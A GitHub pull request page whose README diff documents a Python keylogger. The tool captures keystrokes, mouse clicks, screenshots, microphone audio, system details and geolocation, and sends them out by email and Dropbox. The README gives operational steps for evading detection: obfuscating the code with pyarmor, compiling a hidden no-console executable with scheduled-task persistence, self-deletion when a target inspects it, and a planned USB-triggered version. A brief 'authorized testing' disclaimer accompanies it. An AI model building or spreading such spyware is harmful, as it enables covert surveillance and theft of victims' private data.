Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implemented more keylogger functions #51

Open
wants to merge 24 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
24 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 0 additions & 12 deletions .github/FUNDING.yml

This file was deleted.

9 changes: 9 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
__pycache__
*.env
*.png
*.spec
*.wav
build
dist
steps.txt
test.py
2 changes: 1 addition & 1 deletion LICENSE
Original file line number Diff line number Diff line change
Expand Up @@ -186,7 +186,7 @@
same "printed page" as the copyright notice for easier
identification within third-party archives.

Copyright [yyyy] [name of copyright owner]
Copyright [Filippo Piconese]

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
Expand Down
149 changes: 97 additions & 52 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,52 +1,97 @@
# Inputs To Mail.
Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail.
Purpose of the project is testing the security of information systems

## INSTALLATION

**You don't need to do anything for installation just run the script**

![github-small](/images/Adsız.png)

## USAGE

•**Create an account on "https://mailtrap.io/" using a temp mail.**

![github-small](https://github.com/aydinnyunus/WifiPassword-Stealer/blob/master/images/dene.png?raw=true)


•**Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".**

•**pip install -r requirements.txt**

•**python3 keylogger.py**

•**Every 10 seconds,You Get the Data from the Target Computer**

•**If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.**


## ANTIVIRUS TEST

![github-small](/images/1.png)

![github-small](/images/2.png)

However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on
**BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF** my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉

---

### Contact Me !

[<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/linkedin.png" title="LinkedIn">](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/github.png" title="Github">](https://github.com/aydinnyunus/WhatsappBOT) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/instagram-new.png" title="Instagram">](https://instagram.com/aydinyunus_/) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/twitter.png" title="LinkedIn">](https://twitter.com/aydinnyunuss)


## Another Projects :

•**WHATSAPP BOT** : https://github.com/aydinnyunus/WhatsappBOT

•**MACHINE LEARNING** : https://github.com/aydinnyunus/Machine-Learning

•**FACE RECOGNITION SECURITY** : https://github.com/aydinnyunus/FaceRecognitionSecurity

# KeyLogger - Monitoring and Reporting Program

## Program Description
This program is a KeyLogger designed to collect input data from the keyboard and mouse, capture screenshots and audio from the microphone, and send these reports via email and Dropbox integration. **Use this tool exclusively for testing purposes and in authorized environments**.

## Features
The program performs the following tasks:
- Collects system data (hostname, IP address, processor, OS, machine architecture).
- Detects geographic location.
- Monitors keyboard strokes and mouse clicks.
- Captures screenshots and audio at regular intervals.
- Sends collected data via email and Dropbox.
- Automatically deletes temporary files to preserve data privacy.

## Prerequisites
Python 3 and the following packages are required:
- `dotenv`
- `dropbox`
- `geocoder`
- `mss`
- `numpy`
- `poolmanager`
- `psutil`
- `pyinstaller`
- `pynput`
- `requests`
- `sounddevice`

### Dependency Installation
To install all required packages, run:
```bash
pip install -r requirements.txt
```

## Configuration
1. **Email Configuration**: Define the SMTP server details in a .env file to enable log reporting via email.
2. **Dropbox Integration**: Create a Dropbox API token and add it to the .env file to enable Dropbox integration.
3. **Environment Variables**:
* Set up a .env file with the following variables:
```plaintext
SMTP_SERVER=<your_smtp_server>
SMTP_PORT=<your_smtp_port>
EMAIL_ADDRESS=<your_email_address>
EMAIL_PASSWORD=<your_email_password>
EMAIL_SENDER=<sender_email>
EMAIL_RECEIVER=<receiver_email>
EMAIL_CC=<cc_email>
DROPBOX_TOKEN=<your_dropbox_token>
```
4. **Report Interval**: Define the time interval (SEND_REPORT_EVERY) in seconds for reporting frequency.
5. **Magic Word**: Set the MAGIC_WORD variable to define the word that stops the KeyLogger when typed.

## Program Structure

### KeyLogger Class
* **System Information**: Collects data on hostname, IP address, processor, OS, and machine architecture.
* **Geolocation**: Detects the geographic location of the system.
* **Keyboard Monitoring**: Tracks keyboard input.
* **Mouse Monitoring**: Monitors clicks, capturing screenshots for each click (but omits movements and scrolls to limit log volume).
* **Audio Recording**: Records audio from the microphone at each interval.
* **Screenshot Capture**: Takes screenshots on each mouse click.
* **Report Generation**: Sends email reports with logged data and uploads images and audio files to Dropbox.
* **Cleanup**: Clears temporary data to ensure efficient resource usage.

## Execution
1. Create an instance of the <code>KeyLogger</code> class, initializing it with the required variables.
2. Call the <code>run</code> method to start the KeyLogger.
3. The program automatically deletes the <code>.env</code> file at runtime to secure sensitive information.
4. Typing the magic word (if defined) stops the KeyLogger.

## Single EXE File Version
To run this code on a machine without Python installed, you can compile it into a standalone executable using <code>pyinstaller</code>. The command below is included in the requirements file:
```bash
pyinstaller --onefile --add-data ".env;." main.py
```

## Commands to obfuscate and compile the program
To obfuscate and compile the program, run the following commands:
1. Install required packages:
```bash
pip install -r requirements.txt
```
2. Obfuscate code files using <code>pyarmor</code>:
```bash
pyarmor gen -O obfuscated_dist main.py
pyarmor gen -O obfuscated_dist keylogger.py
pyarmor gen -O obfuscated_dist utils.py
```
3. Generate an executable:
```bash
pyinstaller --onefile --noconsole --add-data "obfuscated_dist\pyarmor_runtime_000000\pyarmor_runtime.pyd;." --hidden-import socket --hidden-import psutil --hidden-import requests --hidden-import subprocess --hidden-import dropbox --hidden-import geocoder --hidden-import mss --hidden-import os --hidden-import platform --hidden-import sounddevice --hidden-import ssl --hidden-import time --hidden-import wave --hidden-import pynput --hidden-import requests.adapters.HTTPAdapter --hidden-import shutil --hidden-import smtplib --hidden-import email.mime.multipart --hidden-import email.mime.text --hidden-import email.mime.base --hidden-import email.encoders --hidden-import keylogger --hidden-import utils --hidden-import utils.send_mail_with_attachment --hidden-import utils.get_wav_and_png_files --hidden-import utils.delete_wav_and_png_files --hidden-import utils.upload_to_dropbox --hidden-import utils.save_program_in_location --hidden-import utils.create_scheduled_task --hidden-import utils.is_process_running --hidden-import utils.stop_process --hidden-import string obfuscated_dist\main.py
```
4. Copy the <code>main.exe</code> file from the <code>dist</code> folder.

## Future Development
* Develop a USB-triggered version that runs when plugged into a PC.
* Implement Dropbox token renewal as the current token expires after four hours.
1 change: 0 additions & 1 deletion images/.gitattribute

This file was deleted.

Binary file removed images/1.png
Binary file not shown.
Binary file removed images/2.png
Binary file not shown.
Binary file removed images/Adsız.png
Binary file not shown.
Loading